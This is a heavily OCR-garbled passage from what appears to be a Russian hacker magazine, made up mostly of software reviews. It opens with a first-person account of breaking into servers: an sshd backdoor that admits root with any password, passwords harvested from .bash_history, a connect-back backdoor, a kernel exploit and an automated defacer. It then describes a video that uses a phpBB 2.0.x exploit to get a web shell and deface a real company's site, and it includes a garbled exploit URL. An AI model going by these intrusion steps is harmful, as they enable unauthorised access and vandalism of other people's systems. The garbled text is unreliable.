пропатчить демон ззГісі, сделав из не- 
го сервис, анонимно впускающий 
рута с произвольным паролем. Когда 
эта рутинная работа была выполне- 
на, я просмотрел рутовый .ЬазЫтізІо- 
гу и, конечно же, нашел там пароль 
на ззГі другого ѴѴеЬ-сервера. Оста- 
валось лишь написать скрипт дефей- 
сера и запустить его в свободное 
плавание на двух машинах. 




Мне не стоило большого труда за- 
лить на сервер соппЬаск-бэкдор, 
залезть в консоль и взломать ядро 
публичным эксплойтом :). Это еще 
раз доказывает, что администраторы 
не обновляют кернел. После этого 



Все эти извращения с сервером 
наиболее вероятного противника 
ты можешь посмотреть в видеоро- 
лике. Но перед просмотром не за- 
будь прочитать статью «Массовое 
заражение» в рубрике «Взлом». 

[видео: НтрВВ 2.0.13: дефейс сайга] 

В этом коротеньком и совершенно не- 
хитром видео демонстрируется воз- 
можность получения шелл-доступа к 
сайту через админку рІтрВВ. В самом 
начале видео я показываю исходник 
эксплойта. Потом нахожу сайт некой 
компьютерной конторы, на котором 
установлен форум рІтрВВ 2.0.8. Одна- 
ко стоит отметить, что эксплойт 
действует на все версии, вплоть до 
2.0.13. После того как эксплойт отра- 
ботал успешно, я получаю хитроумный 
ШІ_. Дальше чищу куки, захожу на ука- 
занный сплойгом адрес и созерцаю, 
как на удаленном сайте выполнилась 
рГір-функция рГіріпГоО в еѵаІО. Затем я 
создаю на серваке-жертве скрипт 



веб-шелла, для того чтобы можно было 
исполнять команды более удобным 
образом. Команда Із -Іа показывает, 
что имеются права на запись, так что 
можно сделать дефейс. После этого 
делаю резервную копию главной 
страницы (іпсіех.рітр) и заменяю со- 
держимое на строчку дефейса =). Го- 
тово. Потом быстро убираю дефейс и 
восстанавливаю все, как было. 

Сам используемый в видеоролике 
эксплойт работает так: сначала че- 
рез ошибку сравнения строк (срав- 
нивается не содержимое, а длины 
строк) в Іодіп.рГір он получает зісі 
(зеззіоп ісі) администратора, скачи- 
вает БД (через админку), дописыва- 
ет в нее фейковый темплейт, восста- 
навливает БД (также через админку) 
и выдает строку вроде 
асітіп _2ІуІе2.р!ір?тос1е=ас]сі _пеѵѵ&іп 5 іаІІ _ 

іо=... &підда=рІ~іріпЮ:& 5 ІсІ=- . ■ 

После этого мы уже можем выполнять 
команды и сделать дефейс. 

В_ АссепІЕхсеРаззѵѵогеІПесоѵегу ѵ2.20Ь . 

Ты забыл пароль от экселевского 
файла, где хранились все коды дос- 
тупа к многочисленным шеллам и 
красивым асям? Да, печально. На 
помощь придет данная тулза. Нес- 
мотря на небольшой размер, обла- 
дает она очень даже большими воз- 
можностями. Утерянный пасс для 
открытия документа МісгозоГГ ЕхсеІ 
97/2к/ХР будет найден в кратчайшие 
сроки — это объясняется особен- 
ностями шифрования парольной за- 
щиты в М3. Благодаря интуитивно по- 
нятному графическому интерфейсу 
на русском языке и системе подска- 
зок, с задачей справится даже начи- 
нающий пользователь. Также на дис- 
ке ты (на самом деле не только ты, но 
и все остальные читатели :Р) най- 
дешь аналогичную прогу для 
Містозой \А/огсІ. 



[2]ТигЬо Рііоіо 4.3. Предназначение 
этой софтины — обработка изобра- 
жений, полученных с различных циф- 
ровых носителей и из видеоредакто- 
ров. Многочисленные настройки поз- 
воляют отрихтовать картинку и замет- 
но повысить ее качество путем уда- 
ления шумов и плагинами цветокор- 
рекции. К пикчерам можно добавлять 
различные эффекты, надписи, ра- 
мочки и т.д. и т.п. Программа доста- 
точно проста в эксплуатации, зуб 
даю (А ухо дашь? — Прим. Бублика) 
(Хинт, я тебя предупреждал, чтобы ты 
за меня примечания не ставил! — 
Прим. Бублика). Даже я, тупой, спра- 
вился :). Для этого существуют специ- 
альные облегчающие работу \л/і 2 - 
агсГы. Ну а если ты весь из себя кру- 
той и продвинутый, то можешь пола- 
зать по расширенным настройкам, я 
не запрещаю. 




_з] НІООІИе. Вах-вах, дорогой. Хо- 
чешь, погадаю на твой компьютер? 
Вот смотри: это (показывает куда- 
то) — линия жизни твоего жесткого 
диска. Да, судьба незавидная у 
него. Но, знаешь ли, мы всегда мо- 
жем изменить свою судьбу. Поэто- 
му предлагаю твоему вниманию 
программу НОЭиГе, которая позво- 
лит контролировать здоровье вин- 
честера, тем самым предупредит 
и предотвратит возможные сбои в 
работе. Архиважная штуковина. 
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Вооі І_од ХР ѵ 1 .0 

\Л/іпсІо\л/5 ХР/2003 



тем визуализирует все этапы загрузки операционной системы. 
Временной график ВооГ Вод ХР по-настоящему рулит. Он дает чет- 
кое представление о последовательности и продолжительности 
загрузки каждого элемента. Больше не надо гадать, какое прило- 
жение (служба, драйвер, библиотека) играет роль тормоза. Зная 
же точное местонахождение проблемных зон, можно уже выпол- 
Нет юзера, который бы не мечтал ускорить загрузку нять осмысленное лечение: запускать твикер, чистить автозагруз- 
своей винды. И на первый взгляд, сделать это довольно ку, отключать лишние драйверы и системные службы. Причем, что 
легко: в Сети полно и статей с советами, и специально тоже весьма приятно, оздоровительный эффект каждой операции 
для этого дела предназначенных инструментов. Но больше не надо оценивать на глаз, поскольку очередной запуск 
есть одна маленькая проблема: разработчики прог- ВооГІ_одХР покажет тебе весь расклад по секундам, 
рамм и авторы статей о твоей машине не знают ровным 
счетом ничего, а от базовых наборов твикеров и каких- 
то универсальных рекомендаций толку мало. Гораздо 
больший эффект да- 

Ш ет ручной тюнинг 

системы, особенно 5Гіаге\л/аге 

если он выполняется ГіГТрУ/тзо-ГооІз.сот 

не наобум, а после 

вдумчивого анализа Автоматическая система резервного копирования для М3 ОГГІсе. 
хода ее загрузки. Очень полезная вещь, способная показать любой документ, кото- 
Серьезно помочь в рый был создан или отредактирован в 

проведении подоб- ѴѴогб или ЕхсеІ. Даже если после ра- г- 

| ного анализа спо- боты над документом ты не стал запи- ' 

собна ВооГ Бод ХР — сывать его на жесткий диск, ■ 



ЗГіаге\л/аге 



\ллллд/.дгеаГІ5.сот 



МЗОВаскир ѵ 1.4 

ѴѴІпсіо\л/з 9х/Ме/І\ІТ/2к/ХР 






< 144 



тии документа удерживай ЗІгій+СІтІ. Это позволит тебе избежать 
загаживания Ьаскир-каталога левыми файлами. Программа 
МЗОВаскир принадлежит к любимому мной разряду «настроил и 
забыл». В папке, отведенной под хранилище, создается проду- 
манная система каталогов и подкаталогов. К тому же, поиск необ- 
ходимого тебе документа сильно облегчает наличие подробного 
лог-файла, который замечательно смотрится в формате ЕхсеІ. Ин- 
тересная деталь: программа МЗОВаскир умеет работать в скры- 
том режиме, что допускает ее использование в качестве ориги- 
нального средства слежения за деловой активностью пользовате- 
ля. Согласись, возможность подобного применения системы ре- 
зервного копирования выглядит на редкость оригинально. 

Вее Ісоп8 ѵ 4.0.1 

\Л/іпс1о\л/5 9х/Ме/МТ/2к/ХР 

Зіге: 1750 Кб _ _ _ 

ЗІпагеѵѵаге 

\ллллл/. Ьееісопз . сот 



В этом месяце выкачал из инета сразу несколько отличных ком- 
мерческих наборов иконок, на фоне которых стандартные иконки 
ѴѴІпсІохл/з ХР смотрятся весьма бледно. Однако вручную менять од- 
ни иконки на другие мне надоело довольно быстро. Пришлось 
озаботиться поисками специализированного софта, в результате 
чего я стал счастливым обладателем программы Вее Ісопз, Сразу 
предупреждаю продвинутых товарищей: эта прога не позволяет 
редактировать иконки и не умеет конвертировать картинки в фор- 
мат ісо. Зато с ее помощью можно быстро произвести тотальную 
замену всех стандартных иконок операционной системы. В прос- 
тейшем случае ты тупо выбираешь нужные элементы (мой компью- 
тер, корзина, сетевое окружение, любые диски и папки) и присва- 
иваешь им новые изображения из текущей библиотеки. Возможен 
и более продвинутый вариант: ты просто берешь готовую тему (за- 
регистрированная версия Вее Ісопз открывает не только свои те- 
мы, но и темы для программ Е-Ісопз и Зіуіе ХР) и применяешь ее. 
Второй вариант я назвал более продвинутым по той простой при- 
чине, что использовать чьи-то готовые темы совершенно не обяза- 
тельно — в Вее Ісопз ты всегда можешь замутить свои. Исходные 
иконки для собственных работ можно вытаскивать из чужих тем и 

коллекций, а также из 
ехе'шников и сІІГок. Особо хо- 
чу упомянуть, что в состав те- 
мы можно включать даже те 
иконки, которые ты хотел бы 
закрепить за файлами раз- 
личных форматов. 

В общем, Вее Ісопз — софти- 
на весьма приятная. Особен- 
но кстати она приходится 
после переустановки систе- 
мы, когда все иконки опять на- 
чинают выглядеть стандартно. 

§8Т ОиіскКеасІ ѵ 1.33 

\Л/іпсіо\а/з ІЧТ/2к/ХР 

Зіге: 165 Кб 

Егее\л/аге 

Іі11р://55)(гее.пагосІ.ги 



Если тебе приходится ежедневно (или во время сессии :)) усваи- 
вать в сжатые сроки большие объемы текстовой информации, то, 
возможно, тебя заинтересует программа для быстрого чтения. От 
обычных читалок она отличается тем, что обеспечивает последо- 
вательный показ слов крупным шрифтом в центре экрана. Такой 
подход позволяет заметно 
увеличить скорость чтения за 
счет исключения движения 
глаз по строке. Кроме того, ты 
можешь постепенно увеличи- 
вать скорость подачи слов 
на экран, добиваясь подав- 
ления эффекта проговарива- 
ния слов про себя, в резуль- 
тате чего содержание текста 
будет как бы само вливаться 



в твое сознание. Само собой, подобный метод чтения требует не- 
которого навыка. Однако синхронно с показом слова крупным 
шрифтом в центре верхней части окна 35Т ОиіскКеасІ одновре- 
менно подсвечивает это же слово в тексте, отображаемом в его 
нижней части, что серьезно облегчает процесс адаптации. 
Тексты для чтения можно получать из клипборда или загружать из 
’.ТхТ, Мтітп, МпТгпІ, \г1Т. Читаемый файл разрешается «положить на 
полку» — в этом случае программа автоматически запоминает 
место, на котором ты остановился. ЗЗТ ОиіскКеасІ также допуска- 
ет ручную установку закладок и обладает продуманной систе- 
мой горячих клавиш. Ну и разумеется, нельзя не отметить тот факт, 
что эта читалка весит всего 165 Кб, не нуждается в инсталляции и 
что самое главное, не требует денег за свою работу. 

ВеНег ЗРЕС ѵ 1 .3.9.5 

ѴѴІпсІо\л/5 9х/Ме/ЫТ/2к/ХР 

Зіге: 498 Кб __ 

Егееѵл/аге 

цлллл/.ЬеРецред.сот 



Для ретуширования цифро- 
вых фотографий лучше всего 
использовать РПоІ’озІтор. Но 
когда требуется быстро под- 
готовить к печати большое ко- 
личество фотографий, на пе- 
редний план выходят специа- 
лизированные инструменты. 
Пожалуй, самой лучшей ути- 
литой для предпечатной об- 
работки ^ЕѲ-файлов являет- 
ся программа ВеОег ЧРЕѲ. Ее 
создатели учли тот факт, что 
ЗРЕѲ-изображения состоят из независимых блоков, и сделали 
так, чтобы их творение не пережимало неизмененные участки 
изображения, сохраняя оригинальное качество ЗРЕѲ-фотогра- 
фий. 

С помощью ВеІЧег ЧРЕѲ очень удобно подрезать изображение 
под нужный формат. Можно не только выделять область с фикси- 
рованным соотношением сторон (в прогу забиты все популярные 
размеры/соотношения), но и использовать сетку (диагонали, 
правило третей, золотое сечение), ориентируясь по которой, лег- 
че добиться идеальной композиции кадра. В проге также предус- 
мотрен мощный инструмент для впечатывания даты/параметров 
ЕХІЕ/текста. Есть и средство борьбы с эффектом красных глаз, ко- 
торое работает на редкость качественно. 

Можно осуществлять продвинутое редактирование отдельных 
участков изображения во внешнем редакторе без полного пере- 
жатия файла. Допускается групповая обработка файлов. Короче 
говоря, для современного фотолюбителя ВеНег ЧРЕѲ — прога из 
разряда «тиз) Ігаѵе». Приятно, что русскоязычные пользователи 
могут юзать ее абсолютно бесплатно. 

„ « 

Ап* Моѵіе Саіаіод ѵ 3.5 Л^\» 

ѴѴІпсіо\А/з 9х/Ме/1\1Т/2к/ХР 

5іге: 3235 Кб 

Егее\л/дге 

\л/\л/\л/.ап1'р.Ье/зоН\л/аге 



Лучшая бесплатная программа для ведения домашней фильмо- 
теки. Отличается приятным интерфейсом с поддержкой русского 
языка и широким набором функций. Основная изюминка Ап) 
Моѵіе Саіаіод заключается в ее умении автоматически скачивать 
из Сети информацию о фильмах и постеры-обложки к ним. А если 
этой проге указать на видео- 
файл, то в карточку фильма 
также будет внесена инфор- 
мация о разрешении видео, 
формате аудио/видеопото- 
ков и размерах файла. К со- 
жалению, программа не об- 
новлялась более года, что не- 
гативно сказалось на ее по- 
пулярности. Но в марте сос- 
тоялся долгожданный релиз 
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версии 3.5, которая порадовала усовершенствованным скрипто- 
вым движком и массой других мелких улучшений. Но скрипты — 
это главное. Ими стало гораздо удобнее пользоваться, их стало 
значительно проще писать. Правда, я новые скрипты для этой 
проги писать все равно не возьмусь :). Именно поэтому меня 
очень радует тот факт, что для Ап) Моѵіе Са)аіод уже написано 
более двадцати скриптов, умеющих вытаскивать информацию с 
русскоязычных ресурсов, в число которых, кстати, входят такие 
популярные сайты, как Огоп.ги, Ѵісіеодиісіе.ги, 51пагегеас)ог.ги и 
даже (ты не поверишь!) Ехіег.ги и Орег.ги. 

Хотя стоит предупредить, что не все новые скрипты входят в комплект 
поставки программы. Если Ап) Моѵіе Саіаіод тебя заинтересует, то 
первым делом отправляйся по адресу \ллллл/.ап)р.Ье/)етр/зсгір)з и в 
дальнейшем периодически туда заглядывай. 

Сотраге И! ѵ 3.8 

ѴѴІпсіоѵ/з 9х/Ме/ЫТ/2к/ХР 

Зіге: 1010 Кб 

Зкіагеѵ/аге 

\ллллл/.дгідзо)).пе) 



Универсальный инструмент для сравнения файлов, анализа 
различий и объединения версий. Двухпанельное сравнение и 
система подсветки облегчают задачу обнаружения различий 
между двумя файлами. Сотраге ІИ корректно обрабатывает 
текстовые файлы из 005, ѴѴІпсІо\л/з, ІІпіх и МасОЗ. Есть версия с 
поддержкой ипісосіе. Помимо простых текстовых файлов, прог- 
рамма позволяет сравнивать файлы М3 ѴѴогсІ и ЕхсеІ, а также 
гед-файлы. Встроенный в Сотраге ІИ редактор наделен боль- 
шинством стандартных функций и обеспечивает подсветку син- 
таксиса нескольких языков программирования. Возможно срав- 
нение обычного файла с другой его версией, находящейся в гір- 
архиве. Сотраге ІИ имеет русский интерфейс и справочную 
систему и корректно обрабатывает файлы на русском языке. На 
ее сайте находятся подробные инструкции, рассказывающие о 
том, как можно подружить 
прогу с самыми популярны- 
ми менеджерами файлов. 

Лично я Сотраге ІИ к То)аі 
Соттапбег уже присоба- 
чил. Если у тебя есть потреб- 
ность хотя бы изредка выпол- 
нять сравнение содержимо- 
го текстовых файлов и доку- 
ментов, советую последо- 
вать моему примеру. Прога 
серьезная. Не пожалеешь. 

Ое$к(ор Огеат$саре8 ѵоі. 1 

ѴѴІпсіоѵ/з 9х/Ме/ІМТ/2к/ХР 

Зіге: 5237 Кб 

ЗИаге\л/аге 

\ллллл/.зирегхз)исІІ05.сот 



На днях тестировал Мосіетсіезкіор (ѵлллл/.дгееп)охзо)).согп) — 
еще одну прогу, позволяющую использовать скринсейверы в ка- 
честве динамических обоев 
для рабочего стола. Она без 
труда запустила в фоновом ре- 
жиме мой любимый ІЗаіпу 
Зсгеепзаѵег (\ллллл/.еіаз)ісзуз- 
)етз.сот), и тот выдал на эк- 
ран отличную имитацию летней 
грозы и бега дождевых капель 
по стеклу. Картинка, что и гово- 
рить, получилась красивая. Од- 
на беда: подобное недокумен- 
тированное использование 
скринсейверов негативно ска- 
зывается на производительнос- 
ти машины. И в этой связи мне 
сразу вспомнился другой ожи- 
витель десктопа — Резкіюр 
Огеатзсарез, который умеет 
приостанавливать свою работу 



и высвобождать системные ресурсы в тех случаях, когда юзер 
работает и ему некогда любоваться движущимися картинками. 
Кстати, если ты Оезкіор Ргеатзсарез ни разу не юзал — рекомен- 
дую попробовать. Прога работает в 30, показывая впечатляющие 
виды чужих миров, красоты открытого космоса и полеты вокруг 
орбитальных станций. 

ЫкеКизХР ѵ 3.4 

ѴѴІпбоѵ/з І\1Т/2к/ХР 

Зіге: 4487 Кб 

Регтто 

Іт))р://5е)І5о)).сопп 



Уникальная софтина, которая в автоматическом или полуавтома- 
тическом режиме переводит программы с английского языка на 
русский. Работать с УкеРизХР очень просто: ты выбираешь файл, 
а прога переводит его ресурсы (меню, диалоги, формы). Резуль- 
тат работы ПкеРизХР — русифицированная версия выбранного 
файла и, если требуется, даже отдельный патч-русификатор. 
Программа имеет встроенный сканер кода и редактор ресурсов 
с возможностью их перевода. УкеРизХР поддерживает скрипты и 
допускает подключение дополнительных словарей. Вместе с ней 
поставляется упаковщик ѲиіскІІпРаск, позволяющий прямо из 
проги производить распаковку выбранных РЕ-файлов, запакован- 
ных с помощью РЕСотрас), АЗРаск или ІІРХ. Тип защиты РЕ-файла 
УкеРизХР пытается определить самостоятельно. 

Учитывая, как много нынче развелось любителей русификаторов 
и поклонников программ с русскоязычными интерфейсами, появ- 
ление подобного 
софта, честное сло- 
во, нельзя было ос- 
тавить без внима- 
ния. Хотя стоит приз- 
наться, что эффек- 
тивность и надеж- 
ность ПкеРизХР по- 
ка оставляют же- 
лать лучшего. Прав- 
да, разработчики 
объясняют это тем, 
что до регистрации 
их творение рабо- 
тает далеко не в 
полную силу. 

Огіѵег Сепіиз Рго ѵ 4.0 

ѴѴІпсІоѵѵз 9х/Ме/ІМТ/2к/ХР 

Зіге: 3445 Кб 

Зкіагеѵѵаге 

\ллллл/.сІгіѵег-зо)).сот 



Мощная утилита для резервного копирования установленных в 
системе драйверов и их восстановления из ранее созданных ар- 
хивов. Подобный софт хорошо использовать после переустанов- 
ки винды для быстрой имплантации в чистую ось всех необходи- 
мых драйверов. Кроме того, Огіѵег Ѳепіиз Рго может помочь в слу- 
чае утери оригинальных дистрибутивов. 
Если, конечно, драйверы интересующе- 
го тебя устройства уже были установле- 
ны и работают нормально. Впрочем, 
операции резервирования и восстанов- 
ления драйверов лично меня, честно го- 
воря, интересуют мало. А вот другие воз- 
можности профессиональной версии 
Огіѵег Ѳепіиз меня действительно заце- 
пили. В первую очередь я порадовался 
наличию у программы функции 11рсіа)е, 
проверяющей 
появление в Се- 
ти обновленных 
драйверов уст- 
ройств и обес- 
печивающей их 
удобное скачи- 
вание. Во-вто- 
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рых, будучи юзером продвинутым, я не мог не заметить появление 
в Эгіѵег Ѳепіиз РгоГеззіопаі ЕсІІТІоп 2005 нового инструмента, пред- 
назначенного для удаления из системы неработающих или отк- 
ровенно іпѵаіісі'ных драйверов. Сам понимаешь, подобные 
инструменты встречаются не так уж часто, хотя порой так и хочет- 
ся поглубже запустить ручки в систему — либо из чистого любопы- 
тства, либо и в самом деле от желания добиться ее большей ста- 
бильности. 

ѴѴогсІ2НеІр 0.9.3.72 

ѴѴІпсіо\л/з 95/98/2К/ХР/2003 

Егееѵѵаге 

Зіге: 867 Кб 

мм\м.зоШіит.сотДл/огсІ2ГіеІр 



Привычка — вторая натура. Возражения не принимаются. Я так 
привык к М3 ѴѴогсГу, что прямо в нем веду простые бухгалтерские 
расчеты (вместо стандартного ЕхсеІ). Это же касается и кодинга 
— после написания пары макросов я могу редактировать сорцы 
прямо в \Л/огсГе. \А/огсі2НеІр — новая тулза для развязки моих заг- 
ребущих рук. Теперь можно конвертировать обыкновенные 
.бос'и в необходимые ТІазб'ки. До сих пор мне так и не получи- 
лось примкнуть к стану поклонников Масготесііа-творения, одна- 
ко не все столь отсталые. Буквально с неделю назад заказчик от 
меня потребовал внедрения флеша в его неказистый сайт. Долго 
заморачиваться с изучением Огеатѵл/еаѵег'а вовсе не хотелось, 
и все было простенько состряпано в ѴѴогсГе, с последующей пе- 
реброской добра в требуемый ЕІазТі. 



паком в систему будет прописан и уже знакомый ѴѴІпсІо\л/з 
Біге\л/аІ1, который, отличаясь убедительной простотой, все же ус- 
пешно существовал в моей системе весь последний год. Новой 
фишкой стала РозТ-зеТир ЗесигіТу ЕІрсІаТез (РЗЗЕІ), которая блоки- 
рует все внешние соединения системы, когда новый зесигіТу-ап- 
дейт появился в Сети, но еще не был установлен к тебе на тачку. 
Всем Зегѵег-юзерам скажу: ЗР1 — тизТ Гіаѵе! 

Місгозоіі Аѵаіоп апсі Іпсіідо 
Соттипііу ТесІіпоІоду 
Ргеѵіеѵѵ МагсН 2005 (ІІрсІаіесІ) 

ѴѴІпсІоц/з ХР/2003 

Егее\л/дге 

Зіге: 444670 Кб _ _ _ 

ѵѵмм.тісгозоТТ.сот 



Еще одна увесистая бетка, которая поставляется в отдельном 
ІЗО'шнике для дальнейшего прожига на СЭ. Ты недостаточно 
крут и смел, чтобы перевести всю свою драгоценную работу и 
важнейшие БД под альфа-бетовый БопдГюгп? Тогда ты смо- 
жешь познакомиться с двумя 
ключевыми технологиями ожи- 
даемой оси, даже не слезая 
с ХР или 2003. К тебе в систе- 
му будет залит софтовый 
комплекс Аѵаіоп, который яв- 
ляется подсистемой винды, 
отвечающей за но- 
вый юзерский ин- 
терфейс. На базе 
Аѵаіоп кодеры 
смогут заюзать все 
мыслимые визуаль- 
ные прибамбасы 

БопдГюгп'а. Пока система довольно сыра, но она 
поможет подготовиться тем, кто собирается вы- 
пускать софт, заточенный под ЕопдТюгп. Іпсіідо 
создает базу для строительства взаимосвязанных 
систем семейства .ІЧеТ. Если у тебя нет своей сет- 
ки, то интерес, пожалуй, представит лишь первая 
бетка — Аѵаіоп. 

МасОгіѵе 6.0.6 Ве(а 1 

ѴѴІпсіоѵ/з 95/98/2К/ХР/2003 

ЗГіагеѵѵаге 

Зіге 1 152 Кб _ _ _ _ 

ѵѵѵлл/.ппесііаіоиг.сот 



Услышав название «Макдрайв», я сразу подумал о 
пополнении жирового запаса поездкой за гамбур- 
герами в Макдак :). Потом читаю новости о выходе 
недорогого МіпіМас ($650), который мог бы успешно внед- 
риться в мою домашнюю сетку. Но как же интеграция, как 
примаунтить ІЧТЕЗ-диск к Маку и как подружить Вынь с Мас- 
диском? Здесь приходит на помощь удобная утилитка, кото- 
рая позволит работать с ресурсами на Маке так, как если бы 
они стояли в винде. Помимо работы с НЭЭ, тулза успешно 
держит и СЭ/ЭУЭ-приводы, работающие в соседней (не-Мак 
или не-Вин) системе. 




МІСГ050І1 

ѴѴіпсІоѵѵз Зегѵег 2003 
Зегѵісе Раск 1 (8Р1) 

\Л/іпсіо\а/з 2003 

Егееѵѵаге 

Зіге: 337230 Кб 

ѵлм\м.тісгозо(1.сот/1есІппе1/ргосІ1есІіпоІ/\міпбоѵ/55егѵег2003/ 
зегѵісераск/сІеТаиГГппзрх 




Данную софтину следует встречать единственным возгласом: 
«Дождались!». Главная концепция нового релиза очень схожа с 
приписанной у 5Р2 для \Л/іпХР — безопасность. Изначально 
Зегѵег-версия предполагает, 
что ее юзер будет владеть 
большими знаниями и опытом. 

Насильно принуждать к безо- 
пасности здесь не станут. С ус- 
тановкой этой тулзы шары твое- 
го домена не будут перекрыты. 

Ты получишь лишь более удоб- 
ное управление зесигііу-конфи- 
гами твоей системы. Вместе с 




Г-$есиге ВІаскЫдНі 1.2.1003.0 Веіа 

\Л/іпсІо\л/з 2К/ХР/2003 

ЗГіагеѵ/аге 

Зіге: 447 Кб 

ѵ/ѵѵѵѵ.Г-зесиге.сот/ЫаскІідГіГ 

Чем больше хлама в твоей 
системе, тем больше мест, ку- 
да можно спрятать лазутчика- 
руткита, который возьмет под 
контроль твою машину. Винда 
славится множеством месте- 
чек для оптимального разме- 





щения паразита. Тебе предлагается софтина от известного 
гранда ІТ-зесигіТу Р-Зесиге, чьи асіѵізогіез (расследования-опи- 
сания) ты мог видеть много раз на зесигііуросиз.сот. Приятным 
сюрпризом оказалось то, что ВІаскІ_ідТіТ не стал путать честные 
\л/іп-і<омпоненты с заразой: при прогоне на трех разных систе- 
мах прецедентов не было! Вполне понятно, что одноразовая 
установка антируткита не даст 100% защиты от новых шпионов, 
которые объявляются на сцене ежедневно. Софт следует сво- 
евременно апдейтить. Сложность возникает лишь с поиском 
лекарства от жадности азіаіаѵізіа пока ничего не слышала о 
заплатках для последней версии ВІаскидМ'. 

РеегСиагсІіап 

Гог ОТІПСІОѴѴ8 2000/Х Р/2003 2.0 
Веіа 4 

ѴѴІпсІо\л/5 2К/ХР/2003 

Ргее\л/аге 

Зіге: 604 Кб 

РіИ~р://реегдиагсііап.те1Іп1аЬз.огд/рд2.Іп1'тІ 



Еще вчера ты обвешивал систему кучей хаков для Кагаа и 
еОопкеу, чтобы выкачивать гигабайты вареза без очереди. 
Сейчас же у тебя папский коннект, юзеры могут сдувать по де- 
сятку Гб за месяц. Тогда и приходит забота — какого И отдавать 
свой трафик тем, кто сам вовсе не делится добром в Р2Р-сетях? 
Для отключения подобных ІеесТГеров-халявщиков и был напи- 
сан РеегСиагсІіап. Помимо фильтрации Р2Р-трафика, прога 
сможет защитить тебя от вредоносных сайтов по НТТР. За напол- 
нение блок-листа софтины отвечает проект ЫоскІізТ.огд, чьи за- 
писи, увы, иногда включают и добросовестные ресурсы. Так, 
прога назвала вредоносным мой любимый Ье1апе\л/з.сот, ко- 
торый я благополучно убрал из блок-листа одним движением 
мышки. Если у тебя уже был опыт работы с линейкой софта 1.*, 
то с 2.0 можно познать радость стабильной работы и низкой 
загрузки проца. Стоит помнить, что Р2Р-защита не заменяет ба- 
зового файрвола в твоей системе. 



ПАМОізк ХР 1.9.100 Веіа 

ѴѴіпсІочл/5 2К/ХР/2003 

5Тюге\л/аге 

Зіге: 9593 Кб 

ѵллллл/.сепаіек.сот 



На днях затоварился новой памятью для писюка. Для обкатки 
запускал десятки софтин, заряжал три процесса архиватора 
одновременно, но в системе так и оставалось 800-900 Мб 
свободной памяти! Грех не воспользоваться подобными могу- 
чими ресурсами при помощи РАМОІзк, который может соз- 
дать виртуальный РЮЭ прямо в твоей РАМ-памяти. Вполне по- 
нятно, что доступ к памяти будет быстрее, чем к любому физи- 
ческому харду. Может оказаться практичной инсталляция 
родного браузера ЕігеГох на виртуальный диск, чтобы прога 
могла максимально быстро оперировать своим кэшем. От- 
дельные любители юзают РАМОгіѵе для размещения ТМР и 
файлов соокіез, Однако установка РАМОгіѵе может вовсе не 
потребоваться, если тебе покажется комфортной работа с 
тетогу тарріпд — сервисом, который доступен в 2к, ХР и 
2003 версиях Выня по дефолту. 




Зіге (в даг): 512 Кб 



Гі11р://сіга\лгз\лгГзГ.пе1 
Лицензия: ОІЧЦ ОРІ_ 



Ога\л/5ѴѴР — простой графический редактор, написанный на Заѵа. 
Что очевидно уже из названия программы, ее ключевое предназ- 
начение — создание ГІазРі-анимаций. Несмотря на это, главным и 
используемым по умолчанию расширением Ога\л/5ѴѴР является 
ЗѴО, из которого изображение уже может быть экспортировано в 
5ѴѴР. Для работы с ГІазГі задействована библиотека ЗаѵаЗѴѴЕ2, а 
для оформления интерфейса выбрана тема «КипзІзІоГК Сам внеш- 
ний вид составляют два окна: главное с получаемым изображени- 
ем (а также меню и панелью инструментов) и «Огаѵѵіпд ОЬІесІз» со 
списком присутствующих элементов и их параметрами. Из станда- 
ртных инструментов представлен обычный карандаш для рисова- 
ния по пикселам и элементарные геометрические фигуры: пря- 
мые, прямоугольники и эллипсы. Возможна вставка произвольного 
текста и других картинок (поддерживается импорт обычных 
ЗРЕѲ/РІЧО/ѲІР), работа с шаблонами, а некоторые элементы ин- 
терфейса из панели программы для удобства можно менять мес- 
тами и вытаскивать в виде отдельных окошек. Все параметры (ко- 
ординаты места, цвета контура/фона, толщина обводки и т.п.) каж- 
дого созданного объекта под- 
даются корректировке, а сам 
объект может быть 
индивидуально уда- 
лен. Результат полу- 
чаемой анимации 
просматривается с 
помощью кнопок 
ріау/зіор. 

АЬіѴѴогсІ ѵ 2.2.7 

РОЗІХ, ѴѴІпсіоѵѵз 

Зіге (в ,Ьг2): 23337 Кб 

ѵлллл/.аЬізоигсе.сот 

Лицензия: ѲІЧЦ ОРІ_ 



АЬіѴѴогсІ — популярный открытый текстовый процес- 
сор, основанный на ОТК+ и позиционируемый разра- 
ботчиками из АЫЗоигсе как достойная альтернатива МісгозоП 
ѴѴогсі, Многоплатформенность АЬіѴѴогсІ в данном случае подра- 
зумевает не сомнительную возможность сборки программы, а го- 
товые бинарные пакеты последнего релиза для различных сис- 
тем (ѴѴІпсІо\л/з, несколько Ыпих-дистрибутивов, Мае ОЗ X) с интег- 
рацией с используемыми в ОС интерфейсами. Программа осна- 
щена актуальной для редакторов интернационализацией: среди 
более 30 языков ми- 
ра, представленных 
во встроенной про- 
верке орфографии, 
присутствует и рус- 
ский. Помимо рабо- 
ты с собственным 
форматом ,аЬ\л/ (а 
также шаблонов в 
,а\л/Т и сжатых ,гаЬ\л/), 
в АЬіѴѴогсІ предус- 
мотрена поддержка 
документов М3 ѴѴогсі, 

ОрепОГГІсе.огд, 

ѴѴогсІРегГесІ, РТР, 
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НТМІ_/ХНТМІ_ (и .тТіТ), а также простых текстовых файлов (.ТхТ). 
Функциональные возможности редактора на высоте: широко 
представлено форматирование текста (выравнивания, табуля- 
ции, колонки, колонтитулы, стили, фоновое изображение и т.п.), 
разнообразные вставки (дата и время, специальные символы, 
стандартный текст для электронных сообщений, ссылки и снос- 
ки, закладки, список с содержимым документа и т.п.), работа с 
таблицами, списками и картинками, статистика по текущему до- 
кументу и история его редактирования, развитая система плаги- 
нов, настраиваемый интерфейс (визуально прост в освоении 
благодаря похожести на тот же ѴѴогб). Стоит отметить, что в 
АЬІѴѴогсІ поддержка достаточно сложных файлов, созданных в 
\Л/огсі, к сожалению, далека от идеала. 

СІіѵ ѵ 1 .9.2 

РОЗІХ (*В50, І_іпих, Зоіагіз...) 

Зіге (в .Ьг2): 445 Кб 

Іі11р://диісІтаг.Тгее.Тг/дІіѵ 

Лицензия: ОІЧІІ ОРІ_ 

ѲІ_іѵ — просмотрщик изображений на базе библиотеки ѲТК+, ис- 
пользующий для своего движка технологию ОрепСІ_. Благодаря 
этому программе удается легко и быстро выполнять элементар- 
ные операции преобразования картинок вроде уменьшения/уве- 
личения (мне, например, без затруднений удалось достичь 
масштаба с процентным увеличением порядка 10М0) или пово- 
рота на произвольные углы (с точностью до 0,1 градуса). Кроме 
того, изображения можно перемещать в открытом окне приложе- 
